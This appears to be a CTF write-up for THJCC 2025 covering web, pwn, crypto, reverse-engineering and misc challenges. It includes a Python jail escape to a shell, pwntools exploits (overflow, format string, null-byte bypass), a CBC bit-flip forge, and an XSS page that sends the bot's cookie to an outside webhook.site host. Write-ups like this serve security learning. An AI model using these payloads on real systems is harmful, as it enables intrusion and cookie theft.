---
# System prepended metadata

title: THJCC 2025 wrire up

---

# THJCC 2025 wrire up 


我就不應該跑去解web要不然我parrot應該解得出來，到底?

然後我discord跟daes都沒寫 L

偷偷推我picoCTF的write up //解口哈都解水題
https://hackmd.io/sx4ORSRoQU6R3XOUJ0Cnvg

## warmup

### welcome
the ans is on the question

### beep boop beep boop

is ascii in binary

## web

### headless

![image](https://hackmd.io/_uploads/B1PYC7QJee.png)

we can guess there's a robots.txt

![image](https://hackmd.io/_uploads/H1dsCmQJxl.png)

go in /hum4n-0nLy
```python=
from flask import Flask, request, render_template, Response from flag import FLAG app = Flask(__name__) @app.route('/') def index(): return render_template('index.html') @app.route('/robots.txt') def noindex(): r = Response(response="User-Agent: *\nDisallow: /hum4n-0nLy\n", status=200, mimetype="text/plain") r.headers["Content-Type"] = "text/plain; charset=utf-8" return r @app.route('/hum4n-0nLy') def source_code(): return open(__file__).read() @app.route('/r0b07-0Nly-9e925dc2d11970c33393990e93664e9d') def secret_flag(): if len(request.headers) > 1: return "I'm sure robots are headless, but you are not a robot, right?" return FLAG if __name__ == '__main__': app.run(host='0.0.0.0',port=80,debug=False)
```
see that if we go to /r0b07-0Nly-9e925dc2d11970c33393990e93664e9d with no headers we can get the flag, so use burpsuite to delete the headers and get the flags

### Nothing here 👀

check the source code and there's an b64 encoded string, decode it and get the flag

![image](https://hackmd.io/_uploads/rJKzWEm1xl.png)


### APPL3 STOR3🍎

check the source code and notice that there's a item 87 missing in the list, get to the ?item=87 page:
![image](https://hackmd.io/_uploads/HJIK-NQkee.png)

and notice that the product price is store in the cookie, set the price to 0 and get the flag

### Lime Ranger

there's a source code on the bottom left and with the source code we can notice that with the bonous code we can get the ur charaters up to 10
```
include "flag.php";

if(!isset($_SESSION["balance"])){
    $_SESSION["balance"] = 4000;
    $_SESSION["inventory"] = array("UR" => 0, "SSR" => 0, "SR" => 0, "R" => 0, "N" => 0);
}

if(isset($_GET["bonus_code"])){
    $code = $_GET["bonus_code"];
    $new_inv = @unserialize($code);
    if(is_array($new_inv)){
        foreach($new_inv as $key => $value){
            if(isset($_SESSION["inventory"][$key]) && is_numeric($value)){
                $_SESSION["inventory"][$key] += $value;
            }
        }
    }
}
```

so just serialize the arr we'll use
```
echo serialize(array("UR" => 100, "SSR" => 0, "SR" => 0, "R" => 0, "N" => 0)); 
//a:5:{s:2:"UR";i:100;s:3:"SSR";i:0;s:2:"SR";i:0;s:1:"R";i:0;s:1:"N";i:0;} 
```

and put the string in the bonus box and get the charaters and get the flag

## misc

### network noise 

just strings the pcap and grep THJCC

### Seems like someone’s breaking down😂

there's line look like this

```
2025-02-21 00:25:15,356 - INFO - 172.18.0.1 - - [21/Feb/2025 00:25:15] "GET /login?username=guest&password=VEhKQ0N7ZmFrZWZsYWd9 HTTP/1.1" 302 -
2025-02-21 00:25:15,364 - INFO - User guest accessed home page
```
the VEhKQ0N7ZmFrZWZsYWd9 decode is THJCC{fake_flag}
so i guess the password of something might be the real flag

and there's this line
```
2025-02-21 00:29:20,525 - INFO - 172.18.0.1 - - [21/Feb/2025 00:29:20] "GET /login?username=henry123&password=VEhKQ0N7TDBnX0YwcjNONTFDNV8xc19FNDVZfQ%3D%3D HTTP/1.1" 302 -
2025-02-21 00:29:20,537 - INFO - User admin accessed home page
```

and the password decoded is the real flag

### Setsuna Message

the hint is 
Although it is not as exaggerated as the 18th level of hell, it can be regarded as the 8th level of hell.

so i searh up the 8th of hell, it's Malebolge.

and another hint is 
Some things will not succeed if you just observe them. You need to execute them so that they can lead you to the final path.

so i guess it's a kind of programing language

search up and find a compiler online
excute and there's a b64 string
decode and get the flag

### Hidden in memory...

downlaod the memdmp and use windbg to excute  ```peb ``` and fine the COMPUTERNAME
to get the comp name

### Pyjail2 

code
```python= 
import unicodedata

inpt = unicodedata.normalize("NFKC", input("> "))

print(eval(inpt, {"__builtins__":{}}, {}))
```

since we can use builtin in out payload, can use the exploit of subclasses
```python
().__class__.__mro__[1].__subclasses__()[107]().load_module("os").system("/bin/sh")
```
this payload might be different on different server because we have different subclasses() on different os and python ver. and which i use is  _frozen_importlib.BuiltinImporter as the exploit

## pwn

### Flag Shopping

this is how the statement handle the money:

```cpp
if (money < price[option]*(int)num){
	printf("You only have %d, ", money);
	printf("But it cost %d * %d = %d\n", price[option], (int)num, price[option]*(int)num);
	continue;
}
```

just use interger overflow and get the flag
payload:
```
3
99999999999999999999
```

### Money Overflow

the structure where the money is in is
```cpp
struct
{
    int id;
    char name[20];
    unsigned short money;
} customer;
```

so we can overflow the name to change the money

payload:
```python
from pwn import *

conn = remote("chal.ctf.scint.org", 10001)

payload = b"a"*20 + p64(65535)
conn.sendlineafter(b"Enter your name: ", payload)
conn.sendline(b"5")
conn.interactive()
```

### Insecure Shell

```cpp

int check_password(char *a, char *b, int length)
{
    for (int i = 0; i < length; i++)
        if (a[i] != b[i])
            return 1;
    return 0;
}

if (check_password(password, buf, strlen(buf)))
    printf("Wrong password!\n");
else
    system("/bin/sh");
```

if strlen() is 0, it'll always be true, send a null char and get the flag

```python
from pwn import *

conn = remote("chal.ctf.scint.org", 10004)
conn.sendlineafter(b"Enter the password >", b'\0')
conn.interactive()
```

### Once

this is how it handles input:

```cpp
printf("guess >");
scanf("%15s", buf);
getchar();

printf("Your guess: ");
printf(buf);
printf("\n");
```

we can use a format str attack on it

payload:

```python
from pwn import *

ans = ""
conn = remote("chal.ctf.scint.org", 10002)
for i in range(2):
    conn.sendlineafter(b"guess >", f'%{8+i}$llx') #the 8 right here was try outed using gdb
    s = conn.recvline()[12:-1]
    print(s)
    a = ""
    for j in range(8):
        if(i == 1 and j == 7):
            continue
        print(s[j*2:j*2+2])
        a = chr(int(s[j*2:j*2+2], 16)) + a
            
    ans += a
    conn.sendlineafter("Are you sure? [y/n] >",'n')
conn.sendlineafter(b"guess >", ans)
conn.sendlineafter("Are you sure? [y/n] >",'y')
conn.interactive()
```


## crypto

### Twins

```
from Crypto.Util.number import *
from secret import FLAG

def generate_twin_prime(N:int):
    while True:
        p = getPrime(N)
        if isPrime(p + 2): return p, p + 2


p, q = generate_twin_prime(1024)
N = p * q
e = 0x10001
m = bytes_to_long(FLAG)
C = pow(m, e, N)

print(f"{N = }")
print(f"{e = }")
print(f"{C = }")
```

the p and q is a twin prime, so $n =a^2-1$ ,$p=a-1$, $q=a+1$, get the p and q and go to dcode to decode the answer

### Frequency Freakout
it's a kind of substitution cipher base on the hint and the name of the question, go to dcode and use the Mono-alphabetic Substitution tool to decode the cipher

### SNAKE

```python
SSSSS = input()
print("".join(["!@#$%^&*(){}[]:;"[int(x, 2)] for x in [''.join(f"{ord(c):08b}" for c in SSSSS)[i:i+4] for i in range(0, len(SSSSS) * 8, 4)]]))
```

lets take a look at the back first

```python
''.join(f"{ord(c):08b}" for c in SSSSS)[i:i+4] for i in range(0, len(SSSSS) * 8, 4)
```

so it takes every char of input and convert it into binary, then seperate them into two parts and save them in the list.

and the fronts is clear: it takes every number in the list and select the matching index of string ```!@#$%^&*(){}[]:;```, then output it from first to last

so reverse it and get the flag:
```python
inp = "^$&:&@&}&^*$#!&@*#&^#!&^&[&;&:&*&@*%&^&%#!&[&)&]&#&[&^*$*$#!*#&^*!*%&)&[&^*$#!&;&&#!*%&(&^#!*$*^&#&;*#&%&^*##!^$&^*#*!&^&:*%&^*$#:#!%$&[&@&%&)*$*%&)&$&@&[&[*)#!*$*@*^&@&]&@*%&^*$#[#!*$&:&@&}&^*$#!&@*#&^#!&^&$*%&;*%&(&^*#&]&)&$#[#!&@&]&:&)&;*%&^#!*&&^*#*%&^&#*#&@*%&^*$#!&$&;*&&^*#&^&%#!&)&:#!&;*&&^*#&[&@*!*!&)&:&*#!*$&$&@&[&^*$#!&]*^&$&(#!&[&)&}&^#!&;*%&(&^*##!&]&^&]&#&^*#*$#!&;&&#!*%&(&^#!&**#&;*^*!#:#!%]&@&:*)#!*$*!&^&$&)&^*$#!&;&&#!*$&:&@&}&^*$#!&(&@*&&^#!*$&}*^&[&[*$#!**&)*%&(#!*$&^*&&^*#&@&[#!&]&;*#&^#!&{&;&)&:*%*$#!*%&(&@&:#!*%&(&^&)*##!&[&)*{&@*#&%#!&@&:&$&^*$*%&;*#*$#!&@&:&%#!*#&^&[&@*%&)*&&^*$#[#!&^&:&@&#&[&)&:&*#!*%&(&^&]#!*%&;#!*$**&@&[&[&;**#!*!*#&^*)#!&]*^&$&(#!&[&@*#&*&^*##!*%&(&@&:#!*%&(&^&)*##!&(&^&@&%*$#!#(&$*#&@&:&)&@&[#!&}&)&:&^*$&)*$#)#:#!^%&;#!&@&$&$&;&]&]&;&%&@*%&^#!*%&(&^&)*##!&:&@*#*#&;**#!&#&;&%&)&^*$#[#!*$&:&@&}&^*$#*#!*!&@&)*#&^&%#!&;*#&*&@&:*$#!#(*$*^&$&(#!&@*$#!&}&)&%&:&^*)*$#)#!&@*!*!&^&@*##!&;&:&^#!&)&:#!&&*#&;&:*%#!&;&&#!*%&(&^#!&;*%&(&^*##!&)&:*$*%&^&@&%#!&;&&#!*$&)&%&^#!&#*)#!*$&)&%&^#[#!&@&:&%#!&]&;*$*%#!&;&:&[*)#!&(&@*&&^#!&;&:&^#!&&*^&:&$*%&)&;&:&@&[#!&[*^&:&*#:#!^$&;&]&^#!*$*!&^&$&)&^*$#!*#&^*%&@&)&:#!&@#!*!&^&[*&&)&$#!&*&)*#&%&[&^#!**&)*%&(#!&@#!*!&@&)*##!&;&&#!*&&^*$*%&)&*&)&@&[#!&$&[&@***$#!&;&:#!&^&)*%&(&^*##!*$&)&%&^#!&;&&#!*%&(&^#!&$&[&;&@&$&@#:#!%[&)*{&@*#&%*$#!&(&@*&&^#!&)&:&%&^*!&^&:&%&^&:*%&[*)#!&^*&&;&[*&&^&%#!&^&[&;&:&*&@*%&^#!&#&;&%&)&^*$#!**&)*%&(&;*^*%#!&[&)&]&#*$#!&;*##!**&)*%&(#!&**#&^&@*%&[*)#!*#&^&%*^&$&^&%#!&[&)&]&#*$#!&@*%#!&[&^&@*$*%#!*%**&^&:*%*)#]&&&)*&&^#!*%&)&]&^*$#!*&&)&@#!&$&;&:*&&^*#&*&^&:*%#!&^*&&;&[*^*%&)&;&:#[#!&[&^&@&%&)&:&*#!*%&;#!&]&@&:*)#!&[&)&:&^&@&*&^*$#!&;&&#!&[&^&*&[&^*$*$#!&[&)*{&@*#&%*$#:#!^%&(&^*$&^#!*#&^*$&^&]&#&[&^#!*$&:&@&}&^*$#[#!&#*^*%#!*$&^*&&^*#&@&[#!&$&;&]&]&;&:#!&**#&;*^*!*$#!&;&&#!&[&^&*&[&^*$*$#!&[&)*{&@*#&%*$#!&(&@*&&^#!&^*)&^&[&)&%*$#!&@&:&%#!&^*(*%&^*#&:&@&[#!&^&@*#*$#[#!**&(&)&$&(#!*$&:&@&}&^*$#!&[&@&$&}#[#!&@&[*%&(&;*^&*&(#!*%&(&)*$#!*#*^&[&^#!&)*$#!&:&;*%#!*^&:&)*&&^*#*$&@&[#!#(*$&^&^#!%@&]*!&(&)*$&#&@&^&:&)&@#[#!%%&)&#&@&]&)&%&@&^#[#!&@&:&%#!^!*)&*&;*!&;&%&)&%&@&^#)#:#!&#&[&@&#&[&@&#&[&@#!%(&^*#&^#!&)*$#!*)&;*^*##!&&&[&@&*${#!^%%(%{%$%$*}^$%:%@%}$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*]"
s = "!@#$%^&*(){}[]:;"
for i in range(int(len(inp)/2)):
    fs = s.find(inp[i*2])
    ss = s.find(inp[i*2+1])
    print(chr(fs<<4|ss), end='')
```

### Yoshino's Secret

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from secret import FLAG
import json
import os

KEY = os.urandom(16)

def encrypt(plaintext: bytes) -> bytes:
    iv = plaintext[:16]
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    return iv + cipher.encrypt(pad(plaintext[16:], AES.block_size))

def decrypt(ciphertext: bytes) -> str:
    iv = ciphertext[:16]
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    plaintext = unpad(cipher.decrypt(ciphertext[16:]), AES.block_size)
    return plaintext

def check(token):
    try:
        token = bytes.fromhex(token)
        passkey = decrypt(token)
        data = json.loads(passkey)
        if data["admin"]:
            print(f"Here is your flag: {FLAG}")
            exit()
        else:
            print("Access Denied")
    except:
        print("Hacker detected, emergency shutdown of the system")
        exit()

def main():
    passkey = b'{"admin":false,"id":"TomotakeYoshino"}'
    token = encrypt(os.urandom(16) + passkey)
    print(f"token: {token.hex()}")
    while True:
        token = input("token > ")
        check(token)
    
if __name__ == '__main__':
    main()
```

it's a CBC encrypted data, and we can abuse it with how cbc work, it is xored with iv, so we can bit filp the iv to change the passkey from ```{"admin":false,"id":"TomotakeYoshino"}``` to ```{"admin":true ,"id":"TomotakeYoshino"}``` 

we can get the value of what we need to xor from xoring the original text to the text we want

t ^ f = 18
r ^ a = 19
u ^ l = 25
e ^ s = 22
' ' ^ e = 69

```python
def bit_flipping(ciphertext, position, xor_value):
    byte_list = bytearray(ciphertext)
    byte_list[position] ^= xor_value
    return bytes(byte_list)

data = input()
data = bit_flipping(bytes.fromhex(data), 9, 18)
data = bit_flipping(data, 10, 19)
data = bit_flipping(data, 11, 25)
data = bit_flipping(data, 12, 22)
data = bit_flipping(data, 13, 69)
print(data.hex())
```

## rev

### 西

```cpp
#include <stdio.h>
#include <stdint.h>
#include <string.h>

#define 掐 char
#define 伊恩窺皮特_弗雷格 enrypted_flag
#define 等於 =
#define 佛以德 void
#define 低窺皮特 decrypt
#define 哀恩踢 int
#define 小於 <
#define 恩 n
#define 佛 for
#define 哀 i
#define 加加 ++
#define 立蘿 0
#define 欸殼斯偶爾等於 ^=
#define 欸服費 0xF5
#define 面 main
#define 衣服 if
#define 欸斯踢阿鏈 strlen
#define 鋪因特欸服 printf
#define 趴欸斯 "%s"

掐 伊恩窺皮特_弗雷格[] 等於 "\xa1\xbd\xbf\xb6\xb6\x8e\xa1\x9d\xc4\x86\xaa\xc4\xa6\xaa\x9b\xc5\xa1\xaa\x9a\x97\x93\xa0\xd1\x96\xb5\xa1\xc4\xba\x9b\x88";

佛以德 低窺皮特(哀恩踢 恩)
{
    佛 (哀恩踢 哀 等於 立蘿; 哀 小於 恩; 哀 加加)
    {
        伊恩窺皮特_弗雷格[哀] 欸殼斯偶爾等於 欸服費;
    }
}

哀恩踢 面()
{
    衣服 (立蘿)
    {
        低窺皮特(欸斯踢阿鏈(伊恩窺皮特_弗雷格));
    }

    鋪因特欸服(趴欸斯, 伊恩窺皮特_弗雷格);
}
```

change```立羅```to 1 and get the flag

### time_GEM

ghidra output of the important function

![image](https://hackmd.io/_uploads/BkATDzrkeg.png)

just change the sleep func to nop or change the arg to 0x0 and get the flag

### Python Hunter 🐍

decompile the pyc file:

```
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: hunter.py
# Bytecode version: 3.8.0rc1+ (3413)
# Source timestamp: 2025-03-24 11:52:35 UTC (1742817155)

import sys as s

def qwe(abc, xyz):
    r = []
    l = len(xyz)
    for i in range(len(abc)):
        t = chr(abc[i] ^ ord(xyz[i % l]))
        r.append(t)
    return ''.join(r)
d = [48, 39, 37, 49, 28, 16, 82, 17, 87, 13, 92, 71, 104, 52, 21, 0, 83, 7, 95, 28, 55, 30, 11, 78, 87, 29, 18]
k = 'door_key'
m = 'not_a_key'

def asd(p):
    u = 42
    v = qwe(d, k)
    w = qwe(d, p)
    if w == v:
        print(f'Correct! {v}')
    else:
        print('Wrong!')

def dummy():
    return len(d) * 2 - 1
if __name__ == '__main__':
    if len(s.argv) > 1:
        asd(s.argv[1])
    else:
        print('Please provide a key as an argument.')
    dummy()
```

just print out qwe(d, k)

### Flag Checker

the main decompile by ghidra(var renamed by me):

![image](https://hackmd.io/_uploads/rJH1hzBylg.png)

the func called in main:

![image](https://hackmd.io/_uploads/Sk142MHyll.png)

so we can do some logic here:

fst = data[i] = input[i] + input[i+1]

sec = data[i+1] = input[i+1] + input[i+2]

trd = data[i+2] = input[i] + input[i+2]

so (fst - sec + trd) / 2 = input[i]

then we can get input[i+1],input[i+2]

and all of this input is a modified one, so we need to get them back by:

input[i] ^= 0xf

input[i] = input[i] << (-(byte)i & 7) | input[i] >> ((byte)i & 7)

so code:

```cpp
#include <iostream>
#include <bitset>
# define byte unsigned char
# define uint unsigned int
byte d[] = { 0xfa, 0x00, 0x00, 0x00, 0xc5, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x9b, 0x00, 0x00, 0x00, 0x75, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x00, 0x00, 0xa5, 0x00, 0x00, 0x00, 0xb5, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0xd1, 0x00, 0x00, 0x00, 0x71, 0x01, 0x00, 0x00, 0xc1, 0x01, 0x00, 0x00, 0x60, 0x01, 0x00, 0x00, 0x3b, 0x01, 0x00, 0x00, 0x63, 0x01, 0x00, 0x00, 0xa2, 0x01, 0x00, 0x00, 0xf7, 0x00, 0x00, 0x00, 0x67, 0x01, 0x00, 0x00, 0x84, 0x01, 0x00, 0x00, 0x55, 0x01, 0x00, 0x00, 0x74, 0x01, 0x00, 0x00, 0x21, 0x01, 0x00, 0x00, 0xd1, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x81, 0x01, 0x00, 0x00, 0x74, 0x01, 0x00, 0x00, 0xdd, 0x01, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00 };

int main(){
    byte buf[3];
    uint *dat = (uint*)d;
    for(int i = 0; i < 0x20; i+=3){
        int fst = dat[i];
        int sec = dat[i+1];
        int trd = dat[i+2];
        buf[0] = (fst - sec + trd)/2;
        buf[1] = fst - buf[0];
        buf[2] = trd - buf[0];
        for(int j = 0; j < 3; j++){
            buf[j] ^= 0xf;
            std::cout << (char)((buf[j] << (-((byte)(i+j)) & 7)) | ((buf[j] >> ((byte)(i+j) & 7))));
        }
    }
}
```

### Noo dle

run the program and you'll realize that each char will represent a hex, so just brute force it

```python
import subprocess

l = []
for i in range(32,126):
    c = chr(i)
    a = subprocess.run(["./chal"], capture_output=True, input=c, text=True).stdout[2:]
    l.append([c, a])
    
s = "2a48589898decafcaefa98087cfa58ae9e2afa1c1aaa2e96fa38061a9ca8fa182ebeee"
ans = ""

for i in range(0, len(s), 2):
    ss = s[i:i+2]
    for j in l:
        if(j[1]==ss):
            ans+=j[0]
            
print(ans)
```

### Empty

use gdb to view the code because the code is been hidden in the .data, and im too lazy to figure out the mechanic of the code hidden

![image](https://hackmd.io/_uploads/HkNbDESkxx.png)

this is the essential part, the rbp-0x20 is input, rbp-0x28 is i, rip+0x2f1e is a data arr, so what it's doing is: 

```cpp
for(int i = 0; i <= 0xf; i++){
    if(input[i] ^ 0xab != data[i])
        exit
}
```

so dump the data and xor it with 0xab we'll get the password

![image](https://hackmd.io/_uploads/BywU54rkxe.png)

so the password is AkizukiKanna1050

### Demon Summoning

use the string in .data to find these functions

![image](https://hackmd.io/_uploads/rkM234H1gl.png)

![image](https://hackmd.io/_uploads/rJxs3VSyex.png)

so just create a folder and inside put the file the question gave and create a file and write ```Satania's favorite```in it and youll get the flag
![image](https://hackmd.io/_uploads/HyEApVS1ee.png)
![image](https://hackmd.io/_uploads/rkA0pVryxx.png)

## Insane

### iCloud☁️

important things:

apache.conf
```
<DirectoryMatch ^/var/www/html/uploads/.+>
    Options +Indexes
    AllowOverride FileInfo
    DirectoryIndex disabled
    <FilesMatch "^.*\.ph.*$">
        SetHandler none
        ForceType text/html
        Header set Content-Type "text/html"
    </FilesMatch>
</DirectoryMatch>

AccessFileName .htaccess
```

bot.js

```javascript
const puppeteer = require("puppeteer");

const FLAG = process.env.FLAG || "THJCC{fake_flag}";
const SITE_URL = process.env.SITE_URL || "http://web/";

const sleep = async (s) =>
  new Promise((resolve) => setTimeout(resolve, 1000 * s));

const visit = async (url) => {
  let browser;
  try {
    browser = await puppeteer.launch({
      headless: true,
      args: ["--disable-gpu", "--no-sandbox"],
      executablePath: "/usr/bin/chromium-browser",
    });
    const context = await browser.createIncognitoBrowserContext();

    // create flag cookie, you need to steal it!
    const page = await context.newPage();
    await sleep(1);
    await page.setCookie({ name: "flag", value: FLAG, domain: "web" });
    await sleep(1);
    await page.goto(url, { waitUntil: "networkidle0" });
    await sleep(5);
    await page.close();
  } catch (e) {
    console.log(e);
  } finally {
    if (browser) await browser.close();
  }
};

module.exports = visit;
```

some of report.php
```php
<?php
$BOT_PORT = getenv("BOT_PORT") ?: 8080;
$BOT_HOST = getenv("BOT_HOST") ?: "bot";
$SITE_URL = getenv("SITE_URL") ?: "http://web/";

$response = null;

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    if (!isset($_POST["url"]) || empty($_POST["url"])) {
        $response = "Invalid URL"; 
    } else {
        $url = $_POST["url"];
        $pattern = "/^" . preg_quote($SITE_URL, "/") . "uploads\/[^\/]+\/?$/";

        if (!preg_match($pattern, $url)) {
            $response = "Invalid URL"; 
        } else {
            try {
                $client = stream_socket_client("tcp://$BOT_HOST:$BOT_PORT", $errno, $errstr, 5);
                if (!$client) {
                    throw new Exception("Failed to connect: $errstr ($errno)");
                }

                fwrite($client, $url);
                $response = "";

                while (!feof($client)) {
                    $response .= fgets($client, 1024);
                }
                fclose($client);
            } catch (Exception $e) {
                error_log($e->getMessage());
                $response = "Something is wrong...";
            }
        }
    }
}
?>
```

so we know that although we can't let the bot access index.html or php, but we can use .htaccess file to redirect to the page we want, so write a index.html:

```html
<!DOCTYPE html>
<html>
<body>
    <script> 
        location.replace("https://webhook.site/b9cc0b79-eac4-4cc5-90da-3753b5846fb1?cookie=" + document.cookie); 
    </script>
</body>
<html>
```

upload it, then get the url of the index.html, then write a .htaccess:

:::info
the reason we don't use the htaccess file to redirect to webhok is because the htaccess file can't access the cookie(or it can but im to bad at web)
:::

.htaccess
```
RewriteEngine On
RewriteRule (.*) http://web/uploads/3ffed27215fb66f6/index.html [R=301,L]
```

upload it too, then report the url with the report.php, remember, the bot can only access https://web/uploads/... and no more, so when you report it, you must use web as hostname.

then goto webhook to get the flag

:::info
if anything is wrong , please contact me
:::

## afterwords

算上cggc跟pico應該是我第三次?寫ctf, platypus不算
第一次打個人賽，電腦重灌跟彈吉他直接晚寫1小時，還沒有算裝工具、驅動。
我也才寫半年ctf，這樣應該算好?
拜託多出點rev，我會沒分數，兄弟並不適合單人賽